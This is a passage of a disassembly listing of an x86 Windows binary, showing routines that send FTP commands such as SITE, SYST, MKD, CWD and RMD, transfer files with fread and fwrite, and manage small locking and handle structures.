0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E0D9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E0D9: ; CODE XREF: ___:0042E0D0j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E130: ; CODE XREF: ___:004016C2j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E151 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E151: ; CODE XREF: ___:0042E14Cj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42E16C loc_42E15F: ; CODE XREF: ___:0042E16Aj mov al, [ecx] cmp al, 20h jz short loc_42E16C mov [esi], al inc esi inc ecx dec edx jnz short loc_42E15F loc_42E16C: ; CODE XREF: ___:0042E15Dj ; ___:0042E163j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E1A0: ; CODE XREF: ___:0040224Dj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E1C9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E1C9: ; CODE XREF: ___:0042E1C0j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E220: ; CODE XREF: ___:0040225Cj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E249 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E249: ; CODE XREF: ___:0042E240j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2A0: ; CODE XREF: ___:00401780j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_42D1A0 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E2D0: ; CODE XREF: ___:004021FDj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_42E2F9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E2F9: ; CODE XREF: ___:0042E2F0j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax nop call near ptr 77C3F931h mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E350: ; CODE XREF: ___:0040166Dj push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_4456BC call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42E371 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E371: ; CODE XREF: ___:0042E36Cj add edi, 44h push 22h push edi call near ptr 77C47660h nop add esp, 8 test eax, eax jnz short loc_42E387 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E387: ; CODE XREF: ___:0042E382j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_42E3A5 loc_42E393: ; CODE XREF: ___:0042E3A3j mov cl, [eax] test cl, cl jz short loc_42E3A5 cmp cl, 22h jz short loc_42E3A5 mov [esi], cl inc esi inc eax dec edx jnz short loc_42E393 loc_42E3A5: ; CODE XREF: ___:0042E391j ; ___:0042E397j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E3D0: ; CODE XREF: ___:00401127j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E400 proc near ; CODE XREF: ___:0042E3E3p ; ___:0042E663p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42E48A mov esi, [esp+14h+arg_C] mov cx, word_4456FC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_42E43A mov byte ptr [esp+14h+arg_10], 72h loc_42E43A: ; CODE XREF: sub_42E400+33j cmp edi, 49h jnz short loc_42E444 mov byte ptr [esp+14h+arg_10+1], 62h loc_42E444: ; CODE XREF: sub_42E400+3Dj lea edx, [esp+14h+arg_10] push edx push eax nop call near ptr 77C3F010h mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_42E4A4 push 100h nop call near ptr 77C1F2BCh mov eax, [eax] push eax nop call near ptr 77C371FAh mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call near ptr 77C47A90h nop add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E48A: ; CODE XREF: sub_42E400+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42E49B mov ebx, dword_50FA84 jmp short loc_42E4A4 ; --------------------------------------------------------------------------- loc_42E49B: ; CODE XREF: sub_42E400+91j mov edx, dword_50FA84 lea ebx, [edx+20h] loc_42E4A4: ; CODE XREF: sub_42E400+57j ; sub_42E400+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401F55 add esp, 14h test eax, eax jnz short loc_42E4C7 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42E4C7: ; CODE XREF: sub_42E400+BFj push 2000h nop call near ptr 77C2C407h add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_42E53D mov ebp, dword_50FAA4 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jle loc_42E593 loc_42E4FA: ; CODE XREF: sub_42E400+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_4021F3 add esp, 0Ch cmp eax, esi jl short loc_42E523 push ebx push 2000h push 1 push edi call ebp ; fread mov esi, eax add esp, 10h test esi, esi jg short loc_42E4FA jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E523: ; CODE XREF: sub_42E400+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call near ptr 77C4186Ah nop add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E53D: ; CODE XREF: sub_42E400+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jle short loc_42E593 mov esi, dword_50FA94 loc_42E55A: ; CODE XREF: sub_42E400+17Dj push ebx push eax push 1 push edi call esi ; fwrite add esp, 10h test eax, eax jbe short loc_42E581 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_402248 add esp, 0Ch cmp eax, ebp jg short loc_42E55A jmp short loc_42E593 ; --------------------------------------------------------------------------- loc_42E581: ; CODE XREF: sub_42E400+166j push offset aLocalfileWrite ; "localfile write" call near ptr 77C36DF2h nop add esp, 4 mov [esp+14h+var_4], ebp loc_42E593: ; CODE XREF: sub_42E400+F4j ; sub_42E400+121j ... push edi nop call near ptr 77C2C21Bh push ebx nop call near ptr 77C3EEF6h mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_42E5B6 push ebx call near ptr 77C40AB1h nop add esp, 4 loc_42E5B6: ; CODE XREF: sub_42E400+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401BDB mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_42E400 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E650: ; CODE XREF: ___:0040169Fj mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E680: ; CODE XREF: ___:00401D2Fj sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_42E6B7 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6B7: ; CODE XREF: ___:0042E6AAj movsx eax, byte ptr [esp+124h] mov edi, dword_50FA60 push eax lea ecx, [esp+1Ch] push offset dword_445504 push ecx call edi ; sprintf mov esi, [esp+134h] lea edx, [esp+24h] push esi push 32h push edx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E6F8 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E6F8: ; CODE XREF: ___:0042E6EBj push ebx lea eax, [esp+1Ch] push offset dword_445708 push eax call edi ; sprintf push esi lea ecx, [esp+28h] push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E754 lea edx, [esp+10h] lea eax, [esp+14h] push edx push eax add esi, 44h push offset dword_445700 push esi nop call near ptr 77C41B72h add esp, 10h cmp eax, 2 jnz short loc_42E754 mov ecx, [esp+120h] mov edx, [esp+10h] pop edi mov eax, ebp pop esi pop ebp mov [ecx], edx pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_42E754: ; CODE XREF: ___:0042E717j ; ___:0042E738j xor ebp, ebp pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E7B0: ; CODE XREF: ___:004013BBj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push edi mov edi, edx mov ebx, 1 repne scasb not ecx add ecx, 6 cmp ecx, 100h jbe short loc_42E7E0 pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E7E0: ; CODE XREF: ___:0042E7D5j push esi push edx lea eax, [esp+10h] push offset dword_445714 push eax nop call near ptr 77C3F931h mov esi, [esp+128h] lea ecx, [esp+18h] push esi push 32h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42E81B xor ebx, ebx pop esi mov eax, ebx pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E81B: ; CODE XREF: ___:0042E80Bj mov edx, [esp+118h] mov eax, [esp+114h] add esi, 48h push edx push esi push eax nop call near ptr 77C47A90h add esp, 0Ch mov eax, ebx pop esi pop edi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42E880 proc near ; CODE XREF: sub_4016A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch arg_C = dword ptr 10h movsx eax, [esp+arg_8] mov ecx, [esp+arg_C] mov edx, [esp+arg_4] push eax mov eax, [esp+4+arg_0] push 3 push ecx push edx push eax call sub_42E400 add esp, 14h retn sub_42E880 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8B0: ; CODE XREF: ___:004016C7j movsx eax, byte ptr [esp+0Ch] mov ecx, [esp+10h] mov edx, [esp+8] push eax mov eax, [esp+8] push 4 push ecx push edx push eax call sub_42E400 add esp, 14h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E8E0: ; CODE XREF: ___:00401492j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov ebx, [esp+114h] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 100h ja short loc_42E979 mov esi, dword_50FA60 push edx lea eax, [esp+10h] push offset dword_44572C push eax call esi ; sprintf mov edi, [esp+124h] lea ecx, [esp+18h] push edi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jz short loc_42E979 push ebx lea edx, [esp+10h] push offset dword_445720 push edx call esi ; sprintf push edi lea eax, [esp+1Ch] push 32h push eax call sub_42D1A0 add esp, 18h neg eax sbb eax, eax pop edi pop esi pop ebx neg eax add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E979: ; CODE XREF: ___:0042E901j ; ___:0042E91Cj ... pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42E9C0: ; CODE XREF: ___:00401C67j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_42E9E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_42E9E9: ; CODE XREF: ___:0042E9E0j push edx lea eax, [esp+4] push offset dword_445738 push eax call near ptr 77C3F931h nop mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_42D1A0 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42EA40 proc near ; CODE XREF: sub_401D52j arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] mov eax, [esi+18h] test eax, eax jnz short loc_42EA79 push edi push esi push 32h push offset aQuit ; "QUIT" call sub_42D1A0 mov eax, [esi+8] add esp, 0Ch push eax call sub_436F06 ; --------------------------------------------------------------------------- mov ecx, [esi+14h] mov edi, dword_50FAC4 push ecx call edi ; free push esi call edi ; free add esp, 8 pop edi loc_42EA79: ; CODE XREF: sub_42EA40+Aj pop esi retn sub_42EA40 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EA90: ; CODE XREF: ___:0040219Ej push edi mov edi, [esp+8] test edi, edi jnz short loc_42EAA0 mov eax, 16h pop edi retn ; --------------------------------------------------------------------------- loc_42EAA0: ; CODE XREF: ___:0042EA97j push 1Ch call near ptr 77C2C407h nop add esp, 4 test eax, eax jnz short loc_42EAB6 mov eax, 0Ch pop edi retn ; --------------------------------------------------------------------------- loc_42EAB6: ; CODE XREF: ___:0042EAADj mov ecx, 1 mov dword ptr [eax+8], 0 mov dword ptr [eax+0Ch], 0 mov dword ptr [eax+10h], 0 mov [eax+14h], ecx mov [eax+18h], ecx mov dword ptr [eax], 0C4C0FFEEh mov [edi], eax xor eax, eax pop edi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB10: ; CODE XREF: ___:00401514j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EB29 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EB29: ; CODE XREF: ___:0042EB20j mov eax, [esi] mov dword ptr [eax], 0 mov ecx, [esi] push ecx call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EB60: ; CODE XREF: ___:004012D5j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax mov eax, [esp+0Ch] jnz short loc_42EB85 test eax, eax jz short loc_42EB85 mov ecx, [esi] pop esi mov edx, [ecx+0Ch] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- loc_42EB85: ; CODE XREF: ___:0042EB74j ; ___:0042EB78j mov dword ptr [eax], 1 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EBB0: ; CODE XREF: ___:004013ACj push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EBC9 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBC9: ; CODE XREF: ___:0042EBC0j mov eax, [esp+0Ch] test eax, eax jz short loc_42EBDD cmp eax, 1 jz short loc_42EBDD mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EBDD: ; CODE XREF: ___:0042EBCFj ; ___:0042EBD4j mov ecx, [esi] pop esi mov [ecx+0Ch], eax xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC00: ; CODE XREF: ___:0040150Fj mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC20: ; CODE XREF: ___:00401825j mov eax, 28h retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC40: ; CODE XREF: ___:00401348j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC59 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC59: ; CODE XREF: ___:0042EC50j mov eax, [esi] mov edx, [esp+0Ch] pop esi mov ecx, [eax+8] xor eax, eax mov [edx], ecx retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EC80: ; CODE XREF: ___:004021E4j push esi mov esi, [esp+8] push esi call sub_4012B7 add esp, 4 test eax, eax jz short loc_42EC99 mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42EC99: ; CODE XREF: ___:0042EC90j mov eax, [esi] mov ecx, [esp+0Ch] pop esi mov [eax+8], ecx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECC0: ; CODE XREF: ___:004019A1j mov eax, [esp+4] mov ecx, [eax] mov eax, [esp+8] mov edx, [ecx+18h] mov [eax], edx xor eax, eax retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ECF0: ; CODE XREF: ___:0040199Cj mov eax, [esp+8] sub eax, 0 jz short loc_42ED12 dec eax jz short loc_42ED02 mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42ED02: ; CODE XREF: ___:0042ECFAj mov eax, [esp+4] mov ecx, [eax] xor eax, eax mov dword ptr [ecx+18h], 1 retn ; --------------------------------------------------------------------------- loc_42ED12: ; CODE XREF: ___:0042ECF7j mov eax, 30h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42ED30: ; CODE XREF: ___:00401C08j push ebx mov ebx, [esp+8] push esi push edi test ebx, ebx jz loc_42EDCB mov edi, [esp+18h] test edi, edi jz loc_42EDCB push 18h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 test esi, esi jz short loc_42EDC2 mov eax, [esp+14h] test eax, eax jz short loc_42ED70 mov eax, [eax] test eax, eax jz short loc_42ED70 mov eax, [eax] jmp short loc_42ED72 ; --------------------------------------------------------------------------- loc_42ED70: ; CODE XREF: ___:0042ED64j ; ___:0042ED6Aj xor eax, eax loc_42ED72: ; CODE XREF: ___:0042ED6Ej mov [esi+4], edi mov [esi], edi lea edi, [esi+10h] push 0 push eax push edi mov [esi+0Ch], eax mov dword ptr [esi+8], 0 call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDB8 push eax mov eax, [esi+0Ch] lea ecx, [esi+14h] push eax push ecx call sub_401C76 add esp, 0Ch test eax, eax jnz short loc_42EDAF mov [ebx], esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42EDAF: ; CODE XREF: ___:0042EDA7j push edi call sub_401686 add esp, 4 loc_42EDB8: ; CODE XREF: ___:0042ED92j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42EDC2: ; CODE XREF: ___:0042ED5Cj pop edi pop esi mov eax, 0Ch pop ebx retn ; --------------------------------------------------------------------------- loc_42EDCB: ; CODE XREF: ___:0042ED39j ; ___:0042ED45j pop edi pop esi mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EE10: ; CODE XREF: ___:004021E9j push ebx push ebp mov ebp, [esp+0Ch] push esi test ebp, ebp push edi jz short loc_42EE78 mov esi, [ebp+0] test esi, esi jz short loc_42EE78 lea ebx, [esi+10h] mov dword ptr [ebp+0], 0 push ebx call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE6E lea eax, [esi+14h] push eax call sub_401686 mov edi, eax add esp, 4 test edi, edi jnz short loc_42EE5F push esi call near ptr 77C2C21Bh nop add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE5F: ; CODE XREF: ___:0042EE4Cj mov ecx, [esi+0Ch] push 0 push ecx push ebx call sub_401C76 add esp, 0Ch loc_42EE6E: ; CODE XREF: ___:0042EE3Aj mov eax, edi mov [ebp+0], esi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42EE78: ; CODE XREF: ___:0042EE1Aj ; ___:0042EE21j pop edi pop esi pop ebp mov eax, 16h pop ebx retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EEB0: ; CODE XREF: ___:00401799j mov eax, [esp+4] push esi test eax, eax jz loc_42EF64 mov esi, [eax] test esi, esi jz loc_42EF64 push ebp lea ebp, [esi+8] push edi push esi mov edi, [ebp+0] nop call near ptr 27706E6h test eax, eax jnz short loc_42EEF7 mov eax, [esi+4] cmp eax, 1 mov [esi], eax jbe short loc_42EF44 dec eax push eax lea eax, [esi+edi*4+10h] push eax call sub_40204A add esp, 8 mov esi, eax jmp short loc_42EF40 ; --------------------------------------------------------------------------- loc_42EEF7: ; CODE XREF: ___:0042EED8j push ebx call sub_4012E4 ; --------------------------------------------------------------------------- mov ecx, [eax+34h] mov ebx, 1 cmp ecx, ebx jnz short loc_42EF1B lea ecx, [esp+14h] push ecx push ebx call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jz short loc_42EF1D loc_42EF1B: ; CODE XREF: ___:0042EF07j xor ebx, ebx loc_42EF1D: ; CODE XREF: ___:0042EF19j lea edx, [esi+edi*4+10h] push edx call sub_401041 add esp, 4 mov esi, eax test ebx, ebx pop ebx jz short loc_42EF40 mov eax, [esp+10h] push 0 push eax call sub_40140B ; --------------------------------------------------------------------------- add esp, 8 loc_42EF40: ; CODE XREF: ___:0042EEF5j ; ___:0042EF2Fj test esi, esi jnz short loc_42EF5E loc_42EF44: ; CODE XREF: ___:0042EEE2j mov ecx, 1 push edi sub ecx, edi push ecx push ebp call dword_50E3FC ; InterlockedCompareExchange xor edx, edx cmp edi, eax setnz dl dec edx mov esi, edx loc_42EF5E: ; CODE XREF: ___:0042EF42j pop edi mov eax, esi pop ebp pop esi retn ; --------------------------------------------------------------------------- loc_42EF64: ; CODE XREF: ___:0042EEB7j ; ___:0042EEC1j mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFA0: ; CODE XREF: ___:00401F50j push esi push 4 push 1 xor esi, esi nop call near ptr 77C2C0C3h add esp, 8 test eax, eax jnz short loc_42EFC3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42EFC3: ; CODE XREF: ___:0042EFB2j mov ecx, [esp+8] mov dword ptr [eax], 0 mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42EFF0: ; CODE XREF: ___:00401A73j mov ecx, [esp+4] push esi xor esi, esi test ecx, ecx jz short loc_42F011 mov eax, [ecx] test eax, eax jz short loc_42F011 push eax mov [ecx], esi nop call near ptr 77C2C21Bh add esp, 4 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F011: ; CODE XREF: ___:0042EFF9j ; ___:0042EFFFj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F030: ; CODE XREF: ___:0040127Bj mov eax, [esp+4] test eax, eax jz short loc_42F04D mov eax, [eax] test eax, eax jz short loc_42F04D mov ecx, [esp+8] test ecx, ecx jz short loc_42F04D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F04D: ; CODE XREF: ___:0042F036j ; ___:0042F03Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F070: ; CODE XREF: ___:0040162Cj mov eax, [esp+4] test eax, eax jz short loc_42F09A mov ecx, [eax] test ecx, ecx jz short loc_42F09A mov eax, [esp+8] cmp eax, 1 jz short loc_42F08E test eax, eax jnz short loc_42F09A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F08E: ; CODE XREF: ___:0042F085j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F09A: ; CODE XREF: ___:0042F076j ; ___:0042F07Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F0B0 proc near ; CODE XREF: sub_40140Bj push esi push edi call sub_4012E4 sub_42F0B0 endp ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h dd 0E8532C5Eh, 0FFFD3151h, 1824448Bh, 8504C483h, 8B0574C0h dd 889304Eh, 7E89FF85h, 8B3E7530h, 0C0853446h, 568B3775h dd 0E8525738h, 23412B7h, 75C08590h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 341399E8h, 0A4E85302h dd 6AFFFD1Fh, 2CAEE802h, 0C483FFFDh, 94E85308h, 83FFFD1Fh dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F170: ; CODE XREF: ___:0040223Ej push ebx push esi call sub_4012E4 ; --------------------------------------------------------------------------- db 8Bh dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h dd 0E8572C7Eh, 0FFFD3091h, 1824448Bh, 8504C483h, 8B0574C0h dd 889344Eh, 8930468Bh, 0C085345Eh, 0DB853B75h, 568B3775h dd 90525338h, 3411F6E8h, 75C08502h, 38468B28h, 30C46C7h dd 50000000h, 13046C7h, 90000000h, 3412D9E8h, 0E4E85702h dd 6AFFFD1Eh, 2BEEE802h, 0C483FFFDh, 0D4E85708h, 83FFFD1Eh dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h, 0Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F230 proc near ; CODE XREF: sub_401CEEj push esi push edi call sub_4012E4 sub_42F230 endp ; --------------------------------------------------------------------------- db 8Bh dd 2C7E8DF0h, 2FE3E857h, 0C483FFFDh, 74F68504h, 307E8334h dd 8B2E7401h, 6A3846h, 58E89050h, 85023411h, 571E75C0h dd 30C46C7h, 0C7000000h, 13046h, 50E80000h, 6AFFFD1Eh dd 2B5AE802h, 0C483FFFDh, 40E85708h, 83FFFD1Eh, 5E5F04C4h dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42F2B0: ; CODE XREF: ___:00401D25j sub esp, 2D0h push esi mov esi, [esp+2D8h] push 0 push esi call sub_401758 add esp, 8 mov [esp+4], eax test eax, eax jnz loc_42F3E9 call sub_4012E4 ; 